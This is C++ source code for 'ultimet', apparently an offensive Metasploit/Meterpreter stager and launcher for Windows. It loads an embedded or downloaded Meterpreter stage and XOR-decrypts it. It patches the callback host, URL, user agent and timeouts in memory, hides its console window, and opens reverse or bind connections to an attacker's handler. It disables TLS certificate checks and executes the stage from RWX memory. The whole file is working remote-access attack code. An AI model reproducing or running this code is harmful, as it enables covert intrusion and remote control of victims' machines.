int wmain(int argc, wchar_t *argv[])
{
PAYLOAD_SETTINGS payload_settings = {0}; // That's defined at main.h
unsigned char* buffer = nullptr; // This will hold the loaded stage
unsigned char* TempBuffer = nullptr; // This will have stuff set-up "like the socket", then the stage will be copied over.
DWORD bufferSize = 0; // buffer length
DWORD StageSize = 0; // if we're using encryption ... stage size = (bufferSize - 16)
DWORD index = 0; // will be used to locate offset of stuff to be patched "transport, the url ... etc."
char EncKey[17] = {0}; // XOR Encryption key
void (*function)() = nullptr; // The casted-to-be-function after we have everything in place.
bool FallbackToStager = false; // If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe.
bool metsvc = false; // Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail.
bool bBind = false; // Are we bind payload?.
bool MSFPAYLOAD = false; // Create a msfpayload-like exe instead of executing?
int err = 0; // Errors
wchar_t UNICODEtransport_2[64] = {0}; // Sorry, I'm out of variable names ...
//If we will get options from resource
wchar_t UNICODEtransport[64] = {0};
wchar_t UNICODElhost[128] = {0};
wchar_t UNICODElport[32] = {0};
char ANSItransport[64] = {0};
char ANSIlhost[128] = {0};
char ANSIlport[32] = {0};
//If "-f" is specified (load stage from local file)
wchar_t StageFilePath[MAX_PATH] = {0}; // If the stage is going to be loaded from a dll file from the filesystem, path will be put here.
// reverse_metsvc specific Variables
SOCKET ConnectSocket = INVALID_SOCKET; // Socket ... will be used for reverse_metsvc and reverse_tcp
// HTTP(S) Specific Variables
char url[512] = {0}; //Full URL, 512 bytes are enough.
/*************
Program Start
**************/
//This will be used later for deciding if we can get options from resource...
BOOL validTransport = false;
if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) //
validTransport = IsThisAValidTransport(UNICODEtransport);
///////////////////////////////// Parsing from command line ///////////////////////////////////
if(argc>1) //Parsing options from resource failed, let's parse options from command line
{
print_header(); // as it sounds...
// Is `--reset` been given as the first argument?
// if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default
if(wcscmp(argv[1],L"--reset") == 0)
{
dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n");
CopyFile(argv[0],L"ultimet_reset.exe",FALSE);
ResourceOptionsReset();
exit(1);
}
// Is `--remove-stage` been given as the first argument?
// if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage.
if(wcscmp(argv[1],L"--remove-stage") == 0)
{
dprintf(L"[*] Creating a new file with stage removed... \n");
CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE);
RemoveStage();
exit(1);
}
// Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/"
for (int i = 1; i < argc; i++)
{
if (i != argc) // Check that we haven't finished parsing already
if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter.
payload_settings.TRANSPORT = argv[i + 1];
_wcsupr(payload_settings.TRANSPORT); // Wide-String-to-uppercase
wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload
if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
}
else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
metsvc = true;
}
else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
}
else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
}
else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
bBind = true;
}
else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
metsvc = true;
bBind = true;
}
else {
dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT);
dprintf(L"\n reverse_https, bind_tcp and bind_metsvc.\n");
exit(1);
}
// End of Transport checks
} else if (wcscmp(argv[i], L"-h") == 0) { //LHOST
payload_settings.LHOST = argv[i + 1];
} else if (wcscmp(argv[i], L"-p") == 0) { //LPORT
payload_settings.LPORT = argv[i + 1];
} else if (wcscmp(argv[i], L"-ct") == 0) { //SessionCommunicationTimeout in seconds - 300 by default
payload_settings.comm_timeout = _wtoi(argv[i + 1]);
} else if (wcscmp(argv[i], L"-et") == 0) { //SessionExpirationTimeout in seconds - 604800 by default
payload_settings.expiration_timeout = _wtoi(argv[i + 1]);
} else if (wcscmp(argv[i], L"-ua") == 0) { //USER_AGENT
payload_settings.USER_AGENT = argv[i + 1];
} else if (wcscmp(argv[i], L"-f") == 0) { //Should we load the stage from a file rather than from the resource?
wcscpy_s(StageFilePath,argv[i + 1]);
} else if (wcscmp(argv[i], L"--help") == 0) { //Print usage and quit
print_header();
usage();
exit(1);
} else if (wcscmp(argv[i], L"--msfpayload") == 0) { //are we going to mimic msfpayload?
MSFPAYLOAD = true;
}
}
//Do we have the minimum parameters?
if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
{
dprintf(L"[-] Not enough parameters! \n\n");
usage();
exit(1);
} else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource.
//////////////////////// start of msfpayload //////////////////////////////
if(MSFPAYLOAD) // We will create a new exe with specified options, then exit
{
dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n");
dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2);
dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST);
dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT);
UnicodeToAnsi(ANSItransport, UNICODEtransport_2);
UnicodeToAnsi(ANSIlhost, payload_settings.LHOST);
UnicodeToAnsi(ANSIlport, payload_settings.LPORT);
msfpayload(ANSItransport, ANSIlhost, ANSIlport);
//msfpayload will exit ...
}
///////////////////////////////// Parsing from resource ///////////////////////////////////
/* Will try to parse options from resource,
this can fail in two ways:
one: if we couldn't read from resource
two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport
So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from.
*/
}
else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one.
{
Stealth(); // hide window :)
payload_settings.TRANSPORT = UNICODEtransport;
payload_settings.LHOST = UNICODElhost;
payload_settings.LPORT = UNICODElport;
//Start of TRANSPORT Checks and adjustments
_wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase
if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
}
else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
metsvc = true;
}
else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
}
else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
}
else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
bBind = true;
}
else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
{
payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
metsvc = true;
bBind = true;
}
}
// check...
if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
{
dprintf(L"[-] Not enough parameters! \n\n");
print_header();
usage();
exit(1);
}
//Have we been asked to load the stage from a file?
if(wcscmp(StageFilePath, L"") != 0)
{
dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath);
bufferSize = CopyStageToBuffer(StageFilePath, &buffer);
} else { // If not, We'll try to load the stage from the resource ...
// Read resource into buffer ...
dprintf(L"[*] Loading stage into memory from resource...\n");
bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer
if (bufferSize == 0) // if something went wrong...
{
FallbackToStager = true; // We will function in "stager" mode.
if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right?
{
dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n");
dprintf(L" sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n");
dprintf(L"[-] ... will exit.\n");
exit(1);
} else
{
dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n");
}
}
}
/*///////////////////////////
/////////////////////////////
Warning! Program split ahead!
/////////////////////////////
/////////////////////////////
At this given point, we know where the stage is going to be loaded from,
either from resource (default), file or from the multi/handler, which will be handled differently.
========
Wrapping up what happened so far:
if(-f specified)
load_stager_from_file
else
load_stage_from_resource
---
buffer == stage?;
if (failed?) set FallbackToStager = true;
if(FallbackToStager){
Act as a "regular" stand-alone meterpreter exe;
populate buffer,
if(tcp) adjust buffer usng ASM voodoo;
} else {
buffer already has the stage,
decrypt it,
patch it,
do your stuff (socket, url building ..etc.)
}
now buffer == stage!!
((void (*)())buffer)();
_____________________
Ready? let's do it...
*/
if(FallbackToStager)
//--------- Start of "working as a stager" ------------//
{
if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport.
{
if(bBind) /* bind_tcp */
StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
else
StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
}
else
{
StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT);
}
}
//--------- End of "working as a stager" ------------//
else //This is where "working as an inline stand-alone exe" stuff starts...
{
//Is the stage encrypted?
if(memcmp(&buffer[0],"MZ",2))
{
dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n");
GetKeyFromBuffer(buffer, EncKey, 16);
printf("[*] \"%s\" will be used; decrypting...\n", EncKey);
XORcrypt(buffer, EncKey, bufferSize);
if(memcmp(&buffer[16],"MZ",2))
{
dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n");
exit(1);
}
dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n");
buffer = buffer + 16;
StageSize = bufferSize - 16;
} else {
dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n");
StageSize = bufferSize;
}
/////////////////////////////////////////
/****************************************
* Patching Stage in memory. *
****************************************/
/////////////////////////////////////////
// Patching transport
index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport));
if (index == 0) // if the transport is not found ...
{
dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
exit(1);
}
dprintf(L"[*] Patching transport: Offset 0x%08x -> \"%s\"\n", index, payload_settings.TRANSPORT );
PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT));
// Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar!
index = 0; //rewind
DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7;
dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index);
unsigned char AddressChar[4];
memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4); // What the !$#% ... will discuss with anwar those casted-casts...
memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4);
//for ( unsigned int i=0; i<sizeof(ReflectiveDllBootStrap); i++) { printf("%x ",(unsigned char)ReflectiveDllBootStrap[i]); }
memcpy(buffer, ReflectiveDllBootStrap, 62);//overwrite dos header with the ReflectiveDll bootstrap
//////////////////////////////////////////
// Stuff needed for HTTP/HTTPS only!! //
//////////////////////////////////////////
if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
{
//Patching UserAgent
index = 0; //rewind.
index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_ua, (int)strlen(global_meterpreter_ua));
if (index == 0) // if the UA is not found ...
{
dprintf(L"[-] Couldn't locate UA string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
exit(1);
}
if(payload_settings.USER_AGENT == NULL)
{
dprintf(L"[!] No UserAgent specified, using default one ...\n");
payload_settings.USER_AGENT = L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\x00";
}
dprintf(L"[*] Patching UA: Offset 0x%08x -> \"%s\"\n", index, payload_settings.USER_AGENT);
PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT));
//Patching global expiration timeout.
index = 0; //rewind
index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x61\xe6\x4b\xb6", 4); //int *global_expiration_timeout = 0xb64be661; little endian, metsrv.dll
if (index == 0) // if the global_expiration_timeout is not found ...
{
dprintf(L"[-] Couldn't locate global_expiration_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
exit(1);
}
if(payload_settings.expiration_timeout == NULL)
{
dprintf(L"[!] No expiration_timeout specified, using 60400 seconds ...\n");
payload_settings.expiration_timeout = 60400;
}
dprintf(L"[*] Patching global_expiration_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.expiration_timeout);
memcpy(&buffer[index], &payload_settings.expiration_timeout, 4);
//Patching global_comm_timeout.
index = 0; //rewind
index = binstrstr(buffer, (int)StageSize, (unsigned char*)"\x7f\x25\x79\xaf", 4); //int *global_comm_timeout = 0xaf79257f; little endian, metsrv.dll
if (index == 0) // if the global_expiration_timeout is not found ...
{
dprintf(L"[-] Couldn't locate global_comm_timeout, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
exit(1);
}
if(payload_settings.comm_timeout == NULL)
{
dprintf(L"[!] No comm_timeout specified, using 300 seconds ...\n");
payload_settings.comm_timeout = 300;
}
dprintf(L"[*] Patching global_comm_timeout: Offset 0x%08x -> \"%d\" seconds\n", index, payload_settings.comm_timeout);
memcpy(&buffer[index], &payload_settings.comm_timeout, 4);
}
/*
* Preparing connection...
*/
// Are we reverse_metsvc?
if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind.
{
if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference.
{
// If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage
// That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc.
// However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless.
// ... but we have to tell them what they've done wrong.
dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n"
L" next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n"
L" - anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n");
dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n");
// Let's just fallback to stager mode ... you foolish noisy bandwidth wasters.
StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
// see you on the other side :)
}
// we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :)
// Adjusting buffer .. this is important!
// reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler`
// My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents
// of "buffer" over, then point buffer to that new TempBuffer ... then take it from there.
TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(TempBuffer + 5, buffer, StageSize); //skiping first five bytes, then copying buffer contents ...
buffer = TempBuffer; //Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :).
//////////////////////////////////////////////////
if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n");
ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT);
if (ConnectSocket == INVALID_SOCKET)
{
dprintf(L"[-] Failed to connect ... will exit!\n");
exit(1);
}
dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer);
buffer[0] = 0xBF;
dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
memcpy(buffer+1, &ConnectSocket, 4);
}
// Are we bind??
else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer.
{
if(!metsvc)
{
dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n"
L" next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n"
L" - anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n");
dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n");
StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
}
TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(TempBuffer + 5, buffer, StageSize);
buffer = TempBuffer;
if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n");
ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT);
if (ConnectSocket == INVALID_SOCKET)
{
dprintf(L"[-] Failed to connect ... will exit!\n");
exit(1);
}
dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer);
buffer[0] = 0xBF;
dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
memcpy(buffer+1, &ConnectSocket, 4);
}
// Are we reverse_http(s)?
else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
{
/*
Building the URL
*/
int checksum = 0; //Calculated Checksum placeholder.
char URI_Part_1[5] = {0}; //4 chars ... it can be any length actually.
char URI_Part_2[17] = {0}; //16 random chars.
srand ( (UINT)time(NULL) ); //Seed rand()
while(true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
{
gen_random(URI_Part_1, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine.
checksum = TextChecksum8(URI_Part_1); //Get the 8-bit checksum of the random value
if(checksum == URI_CHECKSUM_CONN) //If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session.
{
break; // We found a random string that checksums to 98
}
}
gen_random(URI_Part_2, 16); //get second part, random 16 chars
//Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/
//HTTP? HTTPS?
if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0)
strcat_s(url, "http://");
else
strcat_s(url, "https://");
//The joys of converting between wchar_t and char ...
char tempChar1[512] = {0}; //This is used for converting from wchar_t to char...
char tempChar2[512] = {0}; //This is used for converting from wchar_t to char...
wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char
wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char
//wide-char conversion happiness ends here... building the url...
strcat_s(url,tempChar1); // "http(s)://LHOST"
strcat_s(url,":"); // "http(s)://LHOST:"
strcat_s(url,tempChar2); // "http(s)://LHOST:LPORT"
strcat_s(url,"/"); // "http(s)://LHOST:LPORT/"
strcat_s(url,URI_Part_1); // "http(s)://LHOST:LPORT/CONN"
strcat_s(url,"_"); // "http(s)://LHOST:LPORT/CONN_"
strcat_s(url,URI_Part_2); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX"
strcat_s(url,"/\0"); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/"
//Thanks for waiting... :)
wchar_t temp[512] = {0};
mbstowcs_s(NULL,temp,url,strlen(url));
dprintf(L"[*] Calculated URL: %s\n",temp);
//Patching URL ...
index = 0; //Rewind
index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url));
if (index == 0) // if the global_meterpreter_url is not found ...
{
dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
exit(1);
}
dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x -> \"%s\"\n", index, temp );
memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X'
}
}
dprintf(L"[*] Everything in place, casting whole buffer as a function...\n");
function = (void (*)())buffer;
dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
FreeConsole();
function();
return 0;
}
unsigned char* rev_http(char* host, char* port, bool WithSSL){
// Steps:
// 1) Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return.
// 2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
// 3) Prepare buffer for the stage with WinInet: InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.
// 4) Return pointer to the populated buffer to caller function.
//***************************************************************//
// Variables
char URI[5] = { 0 }; //4 chars ... it can be any length actually.
char FullURL[6] = { 0 }; // FullURL is ("/" + URI)
unsigned char* buffer = nullptr;
DWORD flags = 0;
int dwSecFlags = 0;
// Step 1: Calculate a random URI->URL with `valid` checksum; that is needed for the multi/handler to distinguish and identify various framework related requests "i.e. coming from stagers" ... we'll be asking for checksum==92 "INITM", which will get the patched stage in return.
int checksum = 0;
srand(GetTickCount());
while (true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
{
gen_random(URI, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounds just fine.
checksum = TextChecksum8(URI); //Get the 8-bit checksum of the random value
if (checksum == 92) //If the checksum == 92, it will be handled by the multi/handler correctly as a "INITM" and will send over the stage.
{
break; // We found a random string that checksums to 98
}
}
strcpy(FullURL, "/");
strcat(FullURL, URI);
// 2) Decide about whether we're reverse_http or reverse_https, and set flags appropriately.
if (WithSSL) {
flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI | INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA);
}
else {
flags = (INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI);
}
// 3) Prepare buffer for the stage with WinInet:
// InternetOpen, InternetConnect, HttpOpenRequest, HttpSendRequest, InternetReadFile.
// 3.1: HINTERNET InternetOpen(_In_ LPCTSTR lpszAgent, _In_ DWORD dwAccessType, _In_ LPCTSTR lpszProxyName, _In_ LPCTSTR lpszProxyBypass, _In_ DWORD dwFlags);
HINTERNET hInternetOpen = InternetOpen("Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL);
if (hInternetOpen == NULL){
err_exit("InternetOpen()");
}
// 3.2: InternetConnect
HINTERNET hInternetConnect = InternetConnect(hInternetOpen, host, atoi(port), NULL, NULL, INTERNET_SERVICE_HTTP, NULL, NULL);
if (hInternetConnect == NULL){
err_exit("InternetConnect()");
}
// 3.3: HttpOpenRequest
HINTERNET hHTTPOpenRequest = HttpOpenRequest(hInternetConnect, "GET", FullURL, NULL, NULL, NULL, flags, NULL);
if (hHTTPOpenRequest == NULL){
err_exit("HttpOpenRequest()");
}
// 3.4: if (SSL)->InternetSetOption
if (WithSSL){
dwSecFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
InternetSetOption(hHTTPOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, sizeof(dwSecFlags));
}
// 3.5: HttpSendRequest
if (!HttpSendRequest(hHTTPOpenRequest, NULL, NULL, NULL, NULL))
{
err_exit("HttpSendRequest()");
}
// 3.6: VirtualAlloc enough memory for the stage ... 4MB are more than enough
buffer = (unsigned char*)VirtualAlloc(NULL, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 3.7: InternetReadFile: keep reading till nothing is left.
BOOL bKeepReading = true;
DWORD dwBytesRead = -1;
DWORD dwBytesWritten = 0;
while (bKeepReading && dwBytesRead != 0)
{
bKeepReading = InternetReadFile(hHTTPOpenRequest, (buffer + dwBytesWritten), 4096, &dwBytesRead);
dwBytesWritten += dwBytesRead;
}
// 4) Return pointer to the populated buffer to caller function.
return buffer;
}
